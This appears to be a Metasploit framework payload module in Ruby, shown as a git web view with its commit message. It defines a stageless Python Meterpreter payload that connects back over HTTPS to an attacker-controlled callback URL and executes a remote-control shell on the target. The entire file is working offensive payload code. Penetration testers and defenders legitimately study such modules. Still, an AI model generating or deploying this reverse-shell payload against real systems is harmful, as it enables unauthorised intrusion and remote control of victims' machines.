OJ
37b9cd07a2
The Session GUID will identify active sessions, and is the beginning of work that will allow for tracking of sessions that have come back alive after failing or switching transports.
49 lines
1.4 KiB
Ruby
49 lines
1.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/reverse_https'
|
|
require 'msf/core/payload/python'
|
|
require 'msf/core/payload/python/meterpreter_loader'
|
|
require 'msf/core/payload/python/reverse_http'
|
|
require 'msf/base/sessions/meterpreter_python'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 53618
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Python
|
|
include Msf::Payload::Python::ReverseHttp
|
|
include Msf::Payload::Python::MeterpreterLoader
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
|
|
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
|
'Author' => 'Spencer McIntyre',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON,
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
|
))
|
|
end
|
|
|
|
def generate_reverse_http(opts={})
|
|
opts[:scheme] = 'https'
|
|
opts[:uri_uuid_mode] = :init_connect
|
|
met = stage_meterpreter({
|
|
url: generate_callback_url(opts),
|
|
http_user_agent: opts[:user_agent],
|
|
http_proxy_host: opts[:proxy_host],
|
|
http_proxy_port: opts[:proxy_port],
|
|
stageless: true
|
|
})
|
|
|
|
py_create_exec_stub(met)
|
|
end
|
|
|
|
end
|